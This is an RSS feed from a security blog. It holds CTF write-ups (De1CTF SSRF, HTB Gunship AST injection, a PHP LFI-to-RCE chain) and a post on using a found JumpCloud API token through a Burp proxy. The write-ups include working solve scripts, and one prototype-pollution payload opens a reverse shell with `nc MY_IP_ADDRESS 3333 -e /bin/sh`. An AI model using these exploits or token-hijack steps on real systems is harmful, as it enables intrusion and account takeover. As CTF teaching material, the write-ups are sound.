<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[We Want Shells]]></title><description><![CDATA[Blog, CTF Writeup, Random]]></description><link>https://www.nullsession.pw/</link><image><url>http://www.nullsession.pw/favicon.png</url><title>We Want Shells</title><link>https://www.nullsession.pw/</link></image><generator>Ghost 1.24</generator><lastBuildDate>Thu, 16 Apr 2026 15:10:09 GMT</lastBuildDate><atom:link href="https://www.nullsession.pw/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[JumpCloud-Proxy]]></title><description><![CDATA[<div class="kg-card-markdown"><p>JumpCloud is a Directory as a Service provider providing cloud native Directory service for cloud native companies. In a Red Team engagement or Pentest scenario, one may come across a API token which could have Administrative Privileges. Instead of going through the pain of reading Jumpcloud Documentation, why not use</p></div>]]></description><link>https://www.nullsession.pw/jumpcloud-proxy/</link><guid isPermaLink="false">6401a4ae91702a406080afbc</guid><category><![CDATA[Dev]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Fri, 03 Mar 2023 07:45:57 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><p>JumpCloud is a Directory as a Service provider providing cloud native Directory service for cloud native companies. In a Red Team engagement or Pentest scenario, one may come across a API token which could have Administrative Privileges. Instead of going through the pain of reading Jumpcloud Documentation, why not use Jumpcloud console natively too! (If you want to see my repo directly, here it is: <a href="https://github.com/ahboon/JumpCloud-Proxy">https://github.com/ahboon/JumpCloud-Proxy</a>)</p>
<p>To view what permissions your current API key has, you can use this curl sample:</p>
<pre><code>curl -i -s -k -X $'GET' \
    -H $'Host: console.jumpcloud.com' -H $'X-Api-Key: &lt;apiKey&gt;' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'https://console.jumpcloud.com/api/users/getSelf'
</code></pre>
<p>Full list of Admin User Types in Jumpcloud enabled with API key can be seen here: <a href="https://support.jumpcloud.com/s/article/JumpCloud-Roles">https://support.jumpcloud.com/s/article/JumpCloud-Roles</a></p>
<p>Next, download the Burp Project Configuration from here: <a href="https://raw.githubusercontent.com/ahboon/JumpCloud-Proxy/main/Jumpcloud-Proxy.json">https://raw.githubusercontent.com/ahboon/JumpCloud-Proxy/main/Jumpcloud-Proxy.json</a></p>
<p>Then follow the steps below:</p>
<ol>
<li>Register an account for jumpcloud at: <a href="https://console.jumpcloud.com/signup">https://console.jumpcloud.com/signup</a> (skip this step if you already have)</li>
<li>Open burp and load the Jumpcloud-Proxy.json Project Configuration file</li>
<li>Under &quot;Proxy&quot; &gt; &quot;Proxy Settings&quot; &gt; &quot;Match and replace rules&quot;, uncheck all boxes to stop match and replace</li>
<li>Click on &quot;Open Browser&quot; using Burp's Proxy Browser, and login to your own Jumpcloud account at <a href="https://console.jumpcloud.com/login/admin">https://console.jumpcloud.com/login/admin</a></li>
<li>Once logged in, go back to Burp. Under &quot;Proxy&quot; &gt; &quot;Proxy Settings&quot; &gt; &quot;Match and replace rules&quot;, and check all boxes to enable the match and replace. At the same time,  click on the line that says &quot;x-api-key: &lt;Jumpcloud api key&gt;&quot;, and replace the &quot;&lt;Jumpcloud api key&gt;&quot; with your desired Jumpcloud API key</li>
<li>Start using Jumpcloud as though you are the user of the API key!</li>
</ol>
</div>]]></content:encoded></item><item><title><![CDATA[De1CTF - SSRF Me Writeup (2019)]]></title><description><![CDATA[<div class="kg-card-markdown"><p>UPDATE: This writeup was hidden since 2019 due to the solution used. It was only recently where I released a CTF challenge using the same solution. Since it was solved, I decided that this writeup should resurface.</p>
<p>Given the source file:</p>
<pre><code>#! /usr/bin/env python 
#encoding=utf-8 
from flask import</code></pre></div>]]></description><link>https://www.nullsession.pw/de1ctf-ssrf-me-writeup/</link><guid isPermaLink="false">5d48438bb8cedc38614712e5</guid><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Sun, 14 Mar 2021 15:25:00 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><p>UPDATE: This writeup was hidden since 2019 due to the solution used. It was only recently where I released a CTF challenge using the same solution. Since it was solved, I decided that this writeup should resurface.</p>
<p>Given the source file:</p>
<pre><code>#! /usr/bin/env python 
#encoding=utf-8 
from flask import Flask 
from flask import request 
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json 

reload(sys) 
sys.setdefaultencoding('latin1') 
app = Flask(__name__) 
secert_key = os.urandom(16) 

class Task: 
	def __init__(self, action, param, sign, ip): 
		self.action = action 
		self.param = param 
		self.sign = sign 
		self.sandbox = md5(ip) 
		if(not os.path.exists(self.sandbox)): 
		#SandBox For Remote_Addr 
			os.mkdir(self.sandbox) 
	def Exec(self): 
		result = {} 
		result['code'] = 500 
			if (self.checkSign()): 
				if &quot;scan&quot; in self.action: 
					tmpfile = open(&quot;./%s/result.txt&quot; % self.sandbox, 'w') 
					resp = scan(self.param) 
				if (resp == &quot;Connection Timeout&quot;): 
					result['data'] = resp 
				else: 
					print resp 
					tmpfile.write(resp) 
					tmpfile.close() 
					result['code'] = 200 
				if &quot;read&quot; in self.action: 
						f = open(&quot;./%s/result.txt&quot; % self.sandbox, 'r') 
						result['code'] = 200 
						result['data'] = f.read() 
					if result['code'] == 500: 
						result['data'] = &quot;Action Error&quot;
				else: 
					result['code'] = 500 
					result['msg'] = &quot;Sign Error&quot; 
					return result 
	def checkSign(self): 
		if (getSign(self.action, self.param) == self.sign): 
			return True 
		else: 
			return False #generate Sign For Action Scan. 

@app.route(&quot;/geneSign&quot;, methods=['GET', 'POST']) 
def geneSign(): 
	param = urllib.unquote(request.args.get(&quot;param&quot;, &quot;&quot;)) 
	action = &quot;scan&quot; 
	return getSign(action, param) 

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
	action = urllib.unquote(request.cookies.get(&quot;action&quot;)) 
	param = urllib.unquote(request.args.get(&quot;param&quot;, &quot;&quot;)) 
	sign = urllib.unquote(request.cookies.get(&quot;sign&quot;)) 
	ip = request.remote_addr 
	if(waf(param)): 
		return &quot;No Hacker!!!!&quot; 
	task = Task(action, param, sign, ip) 
	return json.dumps(task.Exec()) 

@app.route('/') 
def index(): 
	return open(&quot;code.txt&quot;,&quot;r&quot;).read() 

def scan(param): 
	socket.setdefaulttimeout(1) 
	try: 
		return urllib.urlopen(param).read()[:50] 
	except: 
		return &quot;Connection Timeout&quot; 

def getSign(action, param): 
	return hashlib.md5(secert_key + param + action).hexdigest() 

def md5(content): 
	return hashlib.md5(content).hexdigest() 

def waf(param): 
	check=param.strip().lower() 
	if check.startswith(&quot;gopher&quot;) or check.startswith(&quot;file&quot;): 
		return True 
	else: 
		return False 

if __name__ == '__main__': 
	app.debug = False app.run(host='0.0.0.0',port=80)
</code></pre>
<p>To cut things short on how this &quot;application&quot; works, you will first provide a URL to <code>/getSign</code> to get contents of that URL, and using that signature, use it at the <code>/De1ta</code> to read the contents. Easy right? But there are some hurdles to overcome.</p>
<p>We will need to find a way to bypass the checks for read file signature and also the <code>waf()</code> function.</p>
<p>Our goal is to leak the <code>./flag.txt</code> file. There are many ways to do this, while I did it the &quot;longer&quot; way, there is a shorter way to leak it once the <code>waf()</code> function is bypassed.</p>
<p>At the <code>/geneSign</code> route, we see that it takes in a URL with GET variables and processes it at the <code>getSign()</code> function. This will generate a signature, it will be validated when using the <code>/De1ta</code> route.</p>
<p>However, we only can generate actions which are <code>scan</code>. We will not be able to generate a <code>read</code> action. But examining the <code>Exec()</code>  function closely, it is apparent that the if/else statements checks if the keywords are IN the URL given.</p>
<p>So given the following URL:<br>
<a href="http://139.180.128.86/geneSign?param=http://google.comreadand">http://139.180.128.86/geneSign?param=http://google.comreadand</a></p>
<p>The signature will be constructed as such by <code>getSign()</code>:<br>
<code>return hashlib.md5(secert_key + param + action).hexdigest()</code>.<br>
<code>SECRET_KEY + &quot;http://google.comreadand&quot; + &quot;scan&quot; = &quot;SECRET_KEYhttp://google.comreadandscan&quot;</code><br>
So the signature will be generated with inputs we control which can be used at <code>/De1ta</code> to trigger actions of both <code>read</code> and <code>scan</code>.</p>
<p>This will then give us a valid signature, and it can be used to trigger <code>read</code> and <code>scan</code> because in the subsequent action, the <code>action</code> payload sent will contain both <code>read</code> and <code>scan</code> keywords which will trigger the if else statements!</p>
<p>Next, we have to bypass the <code>if check.startswith(&quot;gopher&quot;) or check.startswith(&quot;file&quot;):</code> check. Well, it is pretty simple. Just use <code>flag.txt</code> and thats it! But... I kind of overthink? I went on to look at how <code>urllib</code> actually parses URLs...</p>
<p>In urllib, there is a function called <code>unwrap</code> which is called by the urllib parser. <a href="https://kite.com/python/docs/urllib.unwrap">https://kite.com/python/docs/urllib.unwrap</a></p>
<p>Essentially, <code>&lt;URL:scheme://host/path&gt;</code> will be converted into <code>scheme://host/path</code>. With this, we can bypass the &quot;starts with&quot; mechanism used by the <code>waf()</code> function. (Note: This works with urllib2 as well)</p>
<p>And here is the solve script!</p>
<pre><code>import requests

payload = &quot;&lt;URL:file:///proc/self/cwd/flag.txt&gt;readand&quot;
payload_two = &quot;&lt;URL:file:///proc/self/cwd/flag.txt&gt;&quot;
a = requests.get(&quot;http://139.180.128.86/geneSign?param=&quot;+payload)
print a.text

cookies = {'action': 'readandscan',
			'sign':a.text}
r = requests.post('http://139.180.128.86/De1ta?param='+payload_two, cookies=cookies)

print r.text
</code></pre>
<pre><code>45c6325c3166748e875137554ad72d6e
{&quot;code&quot;: 200, &quot;data&quot;: &quot;de1ctf{27782fcffbb7d00309a93bc49b74ca26}&quot;}

</code></pre>
<p>Credits to <a href="https://lord.idiot.sg/">https://lord.idiot.sg/</a> for the late night discussion on the challenge! Check out his site for awesome write ups too!</p>
</div>]]></content:encoded></item><item><title><![CDATA[HTB x Uni CTF 2020 - Quals Write Up]]></title><description><![CDATA[<div class="kg-card-markdown"><h1 id="gunship">Gunship</h1>
<p>This challenge is an AST injection challenge.</p>
<pre><code>const path              = require('path');
const express           = require('express');
const handlebars        = require('handlebars');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) =&gt; {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res)</code></pre></div>]]></description><link>https://www.nullsession.pw/htb-x-uni-ctf-2020-quals-write-up/</link><guid isPermaLink="false">5fb8ba9ab8cedc3861471358</guid><category><![CDATA[CTF]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Mon, 23 Nov 2020 00:00:00 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><h1 id="gunship">Gunship</h1>
<p>This challenge is an AST injection challenge.</p>
<pre><code>const path              = require('path');
const express           = require('express');
const handlebars        = require('handlebars');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) =&gt; {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) =&gt; {
	// unflatten seems outdated and a bit vulnerable to prototype pollution
	// we sure hope so that po6ix doesn't pwn our puny app with his AST injection on template engines

    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': handlebars.compile('Hello {{ user }}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

module.exports = router;
</code></pre>
<p>A clue was given in the challenge referencing po6ix, and it led me to his write up: <a href="https://blog.p6.is/AST-Injection/">https://blog.p6.is/AST-Injection/</a></p>
<p>To sum it up, one must trigger the <code>unflatten</code> function then trigger the <code>handlebars.compile</code> function to trigger the template injection.</p>
<p>This therefore allows remote code execution by injecting typical templating attack payloads. (Thanks alot po6ix for the example).</p>
<p>Hence, to trigger the vulnerability for this challenge, I first have to send a request containing the payload to trigger <code>unflatten</code>, then make another valid request to trigger the <code>handlebars.compile</code>.</p>
<pre><code>import requests

TARGET_URL = 'http://docker.hackthebox.eu:30720'

# make pollution
a = requests.post(TARGET_URL + '/api/submit', json = {
    &quot;__proto__.type&quot;: &quot;Program&quot;,
    &quot;__proto__.body&quot;: [{
        &quot;type&quot;: &quot;MustacheStatement&quot;,
        &quot;path&quot;: 0,
        &quot;params&quot;: [{
            &quot;type&quot;: &quot;NumberLiteral&quot;,
            &quot;value&quot;: &quot;process.mainModule.require('child_process').execSync(`nc MY_IP_ADDRESS 3333 -e /bin/sh`)&quot;
        }],
        &quot;loc&quot;: {
            &quot;start&quot;: 0,
            &quot;end&quot;: 0
        }
    }]
})
print(a.text)
# execute
a = requests.post(TARGET_URL + '/api/submit', json = {
    &quot;artist.name&quot;:&quot;Haigh&quot;
})
print(a.text)
</code></pre>
<h1 id="cachedweb">Cached Web</h1>
<p>This challenge is a DNS rebinding SSRF  challenge.<br>
To summarize the behavior of the web app, the web app takes in a URL given by the user, and it checks if the supplied URL is a local address or it is a hostname that points to local address. If it is not an illegal hostname or IP address, it uses selenium to capture a screen shot of the webpage belonging to the supplied URL. Looking at the source code, we can see that there is no way of using url/scheme manipulation to achieve SSRF. A hint given by the challenge is rebinding. (DNS Rebinding is the first thing that came to my mind).</p>
<p>Source</p>
<pre><code>import functools, signal, os, re, socket
from urllib.parse import urlparse
from application.models import cache
from flask import request, abort
from struct import unpack

generate = lambda x: os.urandom(x).hex()

def flash(message, level, **kwargs):
    return { 'message':message, 'level':level, **kwargs }

def serve_screenshot_from(url, domain, width=1000, min_height=400, wait_time=10):
    from selenium import webdriver
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.chrome.options import Options

    options = Options()

    options.add_argument('--headless')
    options.add_argument('--no-sandbox')
    options.add_argument('--ignore-certificate-errors')
    options.add_argument('--disable-dev-shm-usage')
    options.add_argument('--disable-infobars')
    options.add_argument('--disable-background-networking')
    options.add_argument('--disable-default-apps')
    options.add_argument('--disable-extensions')
    options.add_argument('--disable-gpu')
    options.add_argument('--disable-sync')
    options.add_argument('--disable-translate')
    options.add_argument('--hide-scrollbars')
    options.add_argument('--metrics-recording-only')
    options.add_argument('--no-first-run')
    options.add_argument('--safebrowsing-disable-auto-update')
    options.add_argument('--media-cache-size=1')
    options.add_argument('--disk-cache-size=1')
    options.add_argument('--user-agent=SynackCTF/1.0')

    driver = webdriver.Chrome(
        executable_path='chromedriver', 
        chrome_options=options,
        service_log_path='/tmp/chromedriver.log', 
        service_args=['--cookies-file=/tmp/cookies.txt', '--ignore-ssl-errors=true', '--ssl-protocol=any' ]
    )

    driver.set_page_load_timeout(wait_time)
    driver.implicitly_wait(wait_time)

    driver.set_window_position(0, 0)
    driver.set_window_size(width, min_height)

    driver.get(url)

    WebDriverWait(driver, wait_time).until(lambda r: r.execute_script('return document.readyState') == 'complete')

    filename = f'{generate(14)}.png'

    driver.save_screenshot(f'application/static/screenshots/{filename}')

    driver.service.process.send_signal(signal.SIGTERM)
    driver.quit()

    cache.new(domain, filename)

    return flash(f'Successfully cached {domain}', 'success', domain=domain, filename=filename)

def cache_web(url):
    print(url)
    scheme = urlparse(url).scheme
    print(scheme)
    domain = urlparse(url).hostname
    print(domain)

    if scheme not in ['http', 'https']:
        return flash('Invalid scheme', 'danger')

    def ip2long(ip_addr):
        return unpack(&quot;!L&quot;, socket.inet_aton(ip_addr))[0]
    
    def is_inner_ipaddress(ip):
        print(ip)
        ip = ip2long(ip)
        print(ip)
        return ip2long('127.0.0.0') &gt;&gt; 24 == ip &gt;&gt; 24 or \
                ip2long('10.0.0.0') &gt;&gt; 24 == ip &gt;&gt; 24 or \
                ip2long('172.16.0.0') &gt;&gt; 20 == ip &gt;&gt; 20 or \
                ip2long('192.168.0.0') &gt;&gt; 16 == ip &gt;&gt; 16 or \
                ip2long('0.0.0.0') &gt;&gt; 24 == ip &gt;&gt; 24
    
    try:
        if is_inner_ipaddress(socket.gethostbyname(domain)):
            return flash('IP not allowed', 'danger')
        return serve_screenshot_from(url, domain)
    except Exception as e:
        return flash('Invalid domain', 'danger')

def is_from_localhost(func):
    @functools.wraps(func)
    def check_ip(*args, **kwargs):
        if request.remote_addr != '127.0.0.1':
            return abort(403)
        return func(*args, **kwargs)
    return check_ip
</code></pre>
<p>Some research was needed to understand DNS rebinding as it was my first time. TL;DR, DNS rebinding requires an attacker controlled domain to change the A record at the shortest time possible between two requests made. First request to bypass the check, second request to achieve SSRF. Detailed information here: <a href="https://danielmiessler.com/blog/dns-rebinding-explained/">https://danielmiessler.com/blog/dns-rebinding-explained/</a></p>
<p>I needed a quick an easy way to configure ABC.controlled.domain. For the first request it makes to my controlled domain, it will provide a valid public IP address. For the subsequent request which has passed the blacklist check, my controlled domain will then provide 127.0.0.1 instead of a public address. Hence, rebinding the IP address to the domain name.</p>
<p>I found a great tool at: <a href="http://rbnd.gl0.eu/dashboard">http://rbnd.gl0.eu/dashboard</a></p>
<p>This allows quick and easy setup with a unique URL provided.</p>
<p>Example (Creating record):<br>
<img src="https://www.nullsession.pw/content/images/2020/11/rebinding1.png" alt="rebinding1"></p>
<p>Example (Seeing the request made):<br>
<img src="https://www.nullsession.pw/content/images/2020/11/Screenshot-2020-11-21-at-3.30.44-PM.png" alt="Screenshot-2020-11-21-at-3.30.44-PM"></p>
</div>]]></content:encoded></item><item><title><![CDATA[PeeHagePee]]></title><description><![CDATA[<div class="kg-card-markdown"><p>PHP can be interesting. I recently came across an interesting web CTF challenge. It is unfortunate that I am not able to show the beautiful screen shots of the challenge. What I have are screen shots of the locally hosted version which does not have the CSS and images.</p>
<p>The</p></div>]]></description><link>https://www.nullsession.pw/peehagepee/</link><guid isPermaLink="false">5fa22963b8cedc386147134b</guid><category><![CDATA[CTF]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Wed, 04 Nov 2020 13:56:47 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><p>PHP can be interesting. I recently came across an interesting web CTF challenge. It is unfortunate that I am not able to show the beautiful screen shots of the challenge. What I have are screen shots of the locally hosted version which does not have the CSS and images.</p>
<p>The path of exploitation is as such: LFI -&gt; Account Takeover -&gt; Unrestricted File Upload -&gt; Full path disclosure through file download -&gt; LFI RCE.</p>
<p>We can identify it as a PHP webpage by looking at the application cookies where it uses PHP sessions.</p>
<p><img src="https://www.nullsession.pw/content/images/2020/11/Screenshot-2020-11-04-at-12.42.36-PM.png" alt="Screenshot-2020-11-04-at-12.42.36-PM"></p>
<p>First, we are presented with a page with a trivial Local File Inclusion (LFI) vector. <code>http://target/?page=login</code>. When a URL comes with <code>page=login</code>, the source code might look something like <code>include $_GET['url'].&quot;php&quot;;</code>. We can achieve LFI by using PHP wrappers which can encode files into base64 and output it as text by doing <code>php://filter/convert.base64-encode/resource=login</code>. By doing so, we get the source of login.php.</p>
<p><img src="https://www.nullsession.pw/content/images/2020/11/Screenshot-2020-11-04-at-12.34.25-PM.png" alt="Screenshot-2020-11-04-at-12.34.25-PM"></p>
<p>We therefore can leak index as well by doing <code>php://filter/convert.base64-encode/resource=index</code>. The source code confirms that the page variable is the vector for LFI.</p>
<pre><code>&lt;?php

if(isset($_GET['page']) &amp;&amp; !empty($_GET['page']))
{
	include($_GET['page'] . &quot;.php&quot;);
}
else
{
	header(&quot;Location: ?page=home&quot;);
}

?&gt;
</code></pre>
<p>With the PHP wrapper, we are able to download source codes of the application. A forget password page exists, and examining the source code shows interesting code blocks.</p>
<pre><code>&lt;?php
if(isset($_POST[&quot;ticket&quot;]) &amp;&amp; !empty($_POST[&quot;ticket&quot;]))
{
		if($_SESSION[&quot;form_token&quot;]===$_POST[&quot;token&quot;]) {
			unset($_SESSION['form_token']);
			$_SESSION[&quot;form_token&quot;] = md5(uniqid(rand(), true));
			$ticket = unserialize(base64_decode($_POST[&quot;ticket&quot;]));
			$username = $ticket-&gt;name;
			$secret_number = $ticket-&gt;secret_number;
			$count = check_user_exists($conn, $username);
			if($count === 1)
			{	
				if(check_length($secret_number, 9)) {
					$secret_number = strtoupper($secret_number);
					$secret_number = check_string($secret_number);
					$secret = get_secret($conn,$username);
					if($secret_number !== $secret) {
						print(&quot;Wrong secret!&quot;);
					}
					else
					{
					print(&quot;OK, we will send you the new password&quot;);}
					$random_rand = rand(0,$secret_number);
					srand($random_rand);
					$new_password = &quot;&quot;;
					while(strlen($new_password) &lt; 30) {
						$new_password .= strval(rand());
					}
					reset_password($conn, $username, $new_password);
				}
				else
				{
					print(&quot;&lt;center&gt;IMPOSTOR ALERT!!!!&lt;/center&gt;&quot;);
				}
			}
			else
			{
				print(&quot;&lt;center&gt;IMPOSTOR ALERT!!!!&lt;/center&gt;&quot;);
			}
		}
		else
		{
			print(&quot;&lt;center&gt;IMPOSTOR ALERT!!!!&lt;/center&gt;&quot;);
		}
}

?&gt;
</code></pre>
<p>We can see that it reads a POST variable called ticket, which is base64 decoded and unserialized <code>$ticket = unserialize(base64_decode($_POST[&quot;ticket&quot;]));</code>. Looking at lib.php, we can find the corresponding class that it uses to create the <code>$ticket</code> object.</p>
<pre><code>class CrewMate {
	public $name;
	public $secret_number;
}
</code></pre>
<p>The attention is now brought to <code>lib.php</code>, since most of the functions used exists in this file. <code>check_user_exists()</code> checks if user supplied in the serialized data exists in the database, then if it passes, it goes into another code block which checks if the length of secret value given was 9.</p>
<pre><code>function check_length($input, $length) {
	return strlen($input)==$length || count($input)==$length || sizeof($input)==$length;
}
</code></pre>
<p>It then converts the input to upper, and it sanitized it using <code>check_string()</code> where a byte of <code>\x00</code> is replaced by a random character. This seems to be a mitigation to prevent NULL bytes. (Clue here I guess?)</p>
<p>We then see that it checks if the given secret is the same as the database secret. Else, it prints.</p>
<p>What is sneaky about the author is that they hid a curly brace bracket at the end of the <code>print()</code> line. Which is also why it took me some time to solve this challenge as I did not spot the crucial hidden curly brace.</p>
<pre><code class="language-PHP">if(check_length($secret_number, 9)) {
					$secret_number = strtoupper($secret_number);
					$secret_number = check_string($secret_number);
					$secret = get_secret($conn,$username);
					if($secret_number !== $secret) {
						print(&quot;Wrong secret!&quot;);
					}
					else
					{
					print(&quot;OK, we will send you the new password&quot;);}
					$random_rand = rand(0,$secret_number);
					srand($random_rand);
					$new_password = &quot;&quot;;
					while(strlen($new_password) &lt; 30) {
						$new_password .= strval(rand());
					}
					reset_password($conn, $username, $new_password);
				}
</code></pre>
<p>This means that, as long our secret is a length of 9, failing the check does not matter as it will still execute the statements after it. Therefore, based on the secret number supplied, the new password is determined by the value of the secret number, and the new password is generated under the influence of random values.</p>
<p>This calls for the analysis of how can one control the password reset. Since it is possible to send a serialized data, we can send raw bytes like <code>\x01\x01\x01\x01\x01\x01\x01\x01\x01</code>. Further inspection of the <code>check_string()</code> function suggests that the function replaced null bytes with a random variable, and it returns the first 5 bytes of the input, and converts it to to an integer to be returned.</p>
<pre><code>function check_string($input) {
	if(is_string($input)) {
		$input = str_replace(chr(0), chr(rand(33,126)), $input);
		return hexdec(substr(bin2hex($input),0,10));
	}
	return $input;
}
</code></pre>
<p>Just sending <code>\x01 * 9</code> would be perfect right?<br>
No.... <code>\x01 * 5</code> (Since it only takes first 5 bytes at the <code>substr()</code> function) in decimal is <code>16843009</code>. Therefore, the range could be very very large and unpredictable.</p>
<p>However, since we are able to control the ticket sent in, there are more than one type of data we can send as the original class is not type strict, and it is not checked in any parts of the source code as well.</p>
<p>Testing the code snippet, we can observe that if the <code>rand()</code> function was given a <code>NULL</code> value, the random output would be predictable and the same at each run time.</p>
<pre><code>$random_rand = rand(0,NULL);
..
..
..
// Run 1
// string(10) &quot;1178568022&quot;
// string(20) &quot;11785680221273124119&quot;
// string(30) &quot;117856802212731241191535857466&quot;
// string(30) &quot;117856802212731241191535857466&quot;

// Run 2
// string(10) &quot;1178568022&quot;
// string(20) &quot;11785680221273124119&quot;
// string(30) &quot;117856802212731241191535857466&quot;
// string(30) &quot;117856802212731241191535857466&quot;
</code></pre>
<p>So we need a way to bypass the character swap for <code>\x00</code> in the <code>check_string()</code> function. To bypass the mitigation, we need to make sure it passes the test for the length of the secret number input.</p>
<p>We can instead, pass in an array of size 9 in the serialized object. <code>array(0,0,0,0,0,0,0,0,0);</code> Passing that value into <code>rand()</code>, the Array is treated as a <code>NULL</code> value, and it produces the same output as that of the previous experiment.</p>
<pre><code>$random_rand = rand(0,array(0,0,0,0,0,0,0,0,0));
..
..
// Warning: rand() expects parameter 2 to be int, array given in REDACTED on line 47
// string(10) &quot;1178568022&quot;
// string(20) &quot;11785680221273124119&quot;
// string(30) &quot;117856802212731241191535857466&quot;
// string(30) &quot;117856802212731241191535857466&quot;
</code></pre>
<p>We can therefore affirm that the password generated will not be random, and it will always be <code>117856802212731241191535857466</code>. We can now login as any users available listed in <code>crews.php</code>.</p>
<p>Now we are authenticated, we can then access the <code>electrocal.php</code>. We can see that it supports a file upload feature.</p>
<pre><code>&lt;!-- upload --&gt;
&lt;br&gt;&lt;br&gt;
&lt;div class=&quot;w3-container&quot;&gt;
  &lt;div class=&quot;w3-black&quot;&gt;
    &lt;div id=&quot;myBar&quot; class=&quot;w3-green&quot; style=&quot;height:24px;width:0&quot;&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;br&gt;
&lt;/div&gt;
&lt;center&gt;
&lt;form id=&quot;myform&quot; method=&quot;post&quot; action=&quot;?page=electrical&quot; enctype=&quot;multipart/form-data&quot;&gt;
 	&lt;input type=&quot;file&quot; name='file'&gt;&lt;br&gt;
&lt;/form&gt;
&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;upload_file&quot; onclick=&quot;move()&quot; value=&quot;Upload&quot;&gt;
&lt;/center&gt;
&lt;?php
upload($_FILES[&quot;file&quot;]);
?&gt;


&lt;!-- download --&gt;
&lt;br&gt;&lt;br&gt;
&lt;div class=&quot;w3-container&quot;&gt;
  &lt;div class=&quot;w3-black&quot;&gt;
    &lt;div id=&quot;myBar2&quot; class=&quot;w3-green&quot; style=&quot;height:24px;width:0&quot;&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;br&gt;
&lt;/div&gt;
&lt;center&gt;
&lt;?php 
download();
?&gt;
&lt;/center&gt;
</code></pre>
<pre><code>function upload($file) {
	if(isset($file))
	{
		if($file[&quot;size&quot;] &gt; 1485760) {
			die('&lt;center&gt;IMPOSTOR ALERT!!!&lt;/center&gt;');
		}	
		$uploadfile=$file[&quot;tmp_name&quot;];
		$folder=&quot;crew_upload/&quot;;
		$file_name=$file[&quot;name&quot;];
		$new = $file[&quot;tmp_name&quot;].$file_name;
		move_uploaded_file($file[&quot;tmp_name&quot;], $new);
		$zip = new ZipArchive(); 
		$zip_name =&quot;crew_upload/&quot;.md5(uniqid(rand(), true)).&quot;.zip&quot;;
		if($zip-&gt;open($zip_name, ZIPARCHIVE::CREATE)!==TRUE)
		{ 
		 	echo &quot;Sorry ZIP creation failed at this time&quot;;
		}
		$zip-&gt;addFile($new);
		$zip-&gt;close();
		if(isset($_SESSION[&quot;link&quot;]) &amp;&amp; !empty($_SESSION[&quot;link&quot;])) {
			unlink($_SESSION[&quot;link&quot;]);
			unset($_SESSION[&quot;link&quot;]);
		}
		$_SESSION[&quot;link&quot;] = $zip_name;
		header(&quot;Refresh: 0&quot;);
	}
}
</code></pre>
<pre><code>function download() {
if(isset($_SESSION[&quot;link&quot;]) &amp;&amp; !empty($_SESSION[&quot;link&quot;])) {

	print('&lt;a href=&quot;'.$_SESSION[&quot;link&quot;].'&quot; download&gt;
  		&lt;button id=&quot;test&quot; hidden&gt;a&lt;/button&gt;
	&lt;/a&gt;');
	print('&lt;input type=&quot;submit&quot; name=&quot;download_file&quot; onclick=&quot;move2()&quot; value=&quot;Download&quot;&gt;');
	}
}
</code></pre>
<p>There seems to be no restriction on what file we can upload. Furthermore, upon trying the function, we are able to download the uploaded file, and it will be given to us as a ZIP file. Another feature that can be noted is that the transient file uploaded is not deleted. Therefore, we can achieve LFI RCE if we know the full path of the transient file.</p>
<p>Unzipping the downloaded file, we can see that the full path is disclosed. Therefore, uploading a PHP shell will do the trick.</p>
<p>Uploaded payload:</p>
<pre><code>&lt;?php

echo phpinfo();

?&gt;
</code></pre>
<p><img src="https://www.nullsession.pw/content/images/2020/11/Screenshot-2020-11-04-at-9.41.00-PM.png" alt="Screenshot-2020-11-04-at-9.41.00-PM"></p>
<p>Full path revealed once unzipped. Take note that I am hosting the files locally and therefore what is shown is not the full path of the actual challenge. <code>/redacted_initial_path/tmp/php/php0kziNuevil.php</code></p>
<p>We can trigger the exploit by visiting <code>http://localhost:8888/?page=/redacted_initial_path/tmp/php/php0kziNuevil</code>. Note that the <code>.php</code> was omitted because <code>.php</code> will be appended by the system.</p>
<p><img src="https://www.nullsession.pw/content/images/2020/11/Screenshot-2020-11-04-at-9.46.57-PM.png" alt="Screenshot-2020-11-04-at-9.46.57-PM"></p>
<p>Execution of PHP code achieved. :)</p>
<p>Thereafter it is just a little tweaking of codes to obtain remote code execution and solve!</p>
</div>]]></content:encoded></item><item><title><![CDATA[GoFindGit]]></title><description><![CDATA[<div class="kg-card-markdown"><p>Inspired by my previous adventures and my recent Go encounters, here is my attempt to start something. A git directory finder on web roots written in go. Still a work in progress... <a href="https://github.com/ahboon/GoFindGit">https://github.com/ahboon/GoFindGit</a></p>
